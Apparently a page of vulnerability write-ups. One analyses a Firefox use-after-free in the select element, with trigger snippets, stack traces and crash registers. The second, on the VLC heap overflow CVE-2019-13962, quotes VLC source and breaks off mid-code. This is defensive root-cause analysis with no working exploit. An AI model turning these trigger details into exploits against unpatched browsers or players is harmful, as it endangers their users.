0c 006fefb8 6a9c8689 xul!JS_ExecuteScript+0x14 [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 436] 

In the event listener, the first thing that happens is this line. This allows the last reference for the select element to be removed:

sel = 0;

The next that happens is these two lines:

new ArrayBuffer(0xfffffff);
alert();

The purpose of the large ArrayBuffer is to create “pressure” in order to force the garbage collector to go to work. After the alert function, the garbage collector starts cleaning up the select element by calling its destructor (found in dom\html\HTMLSelectElement.cpp):

HTMLSelectElement::~HTMLSelectElement()
{
  mOptions->DropReference();
}

The ~HTMLSelectElement destructor is called multiple times. Since mSelect is a weak reference, the garbage collector eventually causes the select element to be freed by jemalloc, but HTMLOptionsCollection still has a reference:

0:000> k
 # ChildEBP RetAddr  
00 006fc3e0 7448d708 VCRUNTIME140!memset+0x3c [d:\agent\_work\4\s\src\vctools\crt\vcruntime\src\string\i386\memset.asm @ 86] 
01 006fc40c 7448d510 mozglue!arena_t::DallocSmall+0x58 [c:\mozilla-source\mozilla-central\memory\build\mozjemalloc.cpp @ 3442] 
02 006fc434 7448a520 mozglue!arena_dalloc+0x60 [c:\mozilla-source\mozilla-central\memory\build\mozjemalloc.cpp @ 3530] 
03 006fc440 6b2fb498 mozglue!Allocator<MozJemallocBase>::free+0x20 [c:\mozilla-source\mozilla-central\memory\build\malloc_decls.h @ 40] 
04 006fc450 6a8f3491 xul!mozilla::dom::HTMLSelectElement::~HTMLSelectElement+0x18 [c:\mozilla-source\mozilla-central\dom\html\HTMLSelectElement.cpp @ 146] 
05 006fc45c 6a8facff xul!mozilla::dom::Attr::DeleteCycleCollectable+0x11 [c:\mozilla-source\mozilla-central\dom\base\Attr.cpp @ 100] 
06 006fc468 69c7056f xul!nsIContent::cycleCollection::DeleteCycleCollectable+0xf [c:\mozilla-source\mozilla-central\dom\base\nsIContent.h @ 75] 
07 006fc498 69c694ff xul!SnowWhiteKiller::Visit+0x19f [c:\mozilla-source\mozilla-central\xpcom\base\nsCycleCollector.cpp @ 2785] 
08 006fc4fc 69c6c80e xul!nsPurpleBuffer::VisitEntries<SnowWhiteKiller>+0x15f [c:\mozilla-source\mozilla-central\xpcom\base\nsCycleCollector.cpp @ 1106] 
09 006fc534 6a32579f xul!nsCycleCollector_doDeferredDeletionWithBudget+0x6e [c:\mozilla-source\mozilla-central\xpcom\base\nsCycleCollector.cpp @ 4389] 
0a 006fc5dc 69cd20d4 xul!AsyncFreeSnowWhite::Run+0x9f [c:\mozilla-source\mozilla-central\js\xpconnect\src\XPCJSRuntime.cpp @ 138] 

During the process, the arena_t::DallocSmall function quietly sets the freed chunk with 0xe5e5e5e5:

...
const uint8_t kAllocPoison = 0xe5; // Line 1228
...
  
void
arena_t::DallocSmall(arena_chunk_t* aChunk,
                     void* aPtr,
                     arena_chunk_map_t* aMapElm)
{
  arena_run_t* run;
  arena_bin_t* bin;
  size_t size;

  run = (arena_run_t*)(aMapElm->bits & ~gPageSizeMask);
  MOZ_DIAGNOSTIC_ASSERT(run->mMagic == ARENA_RUN_MAGIC);
  bin = run->mBin;
  size = bin->mSizeClass;
  MOZ_DIAGNOSTIC_ASSERT(uintptr_t(aPtr) >=
                        uintptr_t(run) + bin->mRunFirstRegionOffset);
  MOZ_DIAGNOSTIC_ASSERT(
    (uintptr_t(aPtr) - (uintptr_t(run) + bin->mRunFirstRegionOffset)) % size ==
    0);

  // This is where our freed memory is filled with 0xe5e5e5e5...
  memset(aPtr, kAllocPoison, size);
  ...

After the memory is freed, we\’re pretty done with the DOMNodeRemoved handler and back to the nsINode::ReplaceOrInsertBefore function that called it. Since the ReplaceOrInsertBefore function still has a mSelect reference, eventually this causes a crash while setting up for a CALL [EAX+4] call. Looking up the selet element\’s vftable, offset 4 indicates the program is trying to call the AddRef() function:

[Sin Message] Creating select element
Select Element = 0x0eefd340 <--- This appears in esi

...

0:000> r
eax=e5e5e5e5 ebx=0eefd340 ecx=11303100 edx=0eefd340 esi=0eefd340 edi=0eea4e80
eip=6a9bcacd esp=008fe7f0 ebp=008fe940 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
xul!nsINode::ReplaceOrInsertBefore+0x6ed:
6a9bcacd 8b5804          mov     ebx,dword ptr [eax+4] ds:002b:e5e5e5e9=????????

...

6a9bcaca 8b4610          mov     eax,dword ptr [esi+10h]
6a9bcacd 8b5804          mov     ebx,dword ptr [eax+4] ds:002b:e5e5e5e9=????????
6a9bcad0 85db            test    ebx,ebx
6a9bcad2 741f            je      xul!nsINode::ReplaceOrInsertBefore+0x713 (6a9bcaf3)
6a9bcad4 8b03            mov     eax,dword ptr [ebx]
6a9bcad6 53              push    ebx
6a9bcad7 ff5004          call    dword ptr [eax+4]

Reading from the conversation between developers in the bug report, we learned that something like this in theory should have been caught easily with a fuzzer such as Domato. It just didn\’t, and the bug lived for many years.

More research time is needed to investigate how exploitation could be done.

1
Technical Analysis

CVE-2019-13962 avcodec lavc_CopyPicture Heap Buffer Overflow

VLC media player is a free and open-source portable cross-platform media player software developed by the VideoLAN project. VLC is available for desktop operating systems and mobile platforms, such as Android, iOS, iPadOS, Wizen, Windows 10 Mobile, and Windows Phone. It is also available on digital distribution platforms such as Apple’s App Store, Google Play, and Microsoft Store. It supports many audio and video compression methods and file formats, and can be used to stream media over computer networks.

A vulnerability was found in the AV codec’s Iavc_CopyPicture function. A malicious video file can be crafted with an invalid width and height, and cause a heap based buffer overflow.

Versions 3.0.7 and prior are vulnerable.

Technical Details

In the AV codec, when a video is being decoded, it is done frame by frame (or block). In each frame, the lavc_CopyPicture function is called (found in modules/codec/avcodec/video.c:1177)

        picture_t *p_pic = frame->opaque;
        if( p_pic == NULL )
        {   /* When direct rendering is not used, get_format() and get_buffer()
             * might not be called. The output video format must be set here
             * then picture buffer can be allocated. */
            if (p_sys->p_va == NULL
             && lavc_UpdateVideoFormat(p_dec, p_context, p_context->pix_fmt,
                                       p_context->pix_fmt) == 0)
                p_pic = decoder_NewPicture(p_dec);

            if( !p_pic )
            {
                av_frame_free(&frame);
                break;
            }

            /* Fill picture_t from AVFrame */
            if( lavc_CopyPicture( p_dec, p_pic, frame ) != VLC_SUCCESS )
            {
                av_frame_free(&frame);
                picture_Release( p_pic );
                break;
            }
        }

The lavc_CopyPicture is meant for copying a picture from the libavcodec-allocate buffer to a picture_t. In this function, there is a check:

static int lavc_CopyPicture(decoder_t *dec, picture_t *pic, AVFrame *frame)
{
...
else if (fourcc != pic->format.i_chroma
     || frame->width > (int) pic->format.i_width
     || frame->height > (int) pic->format.i_height) <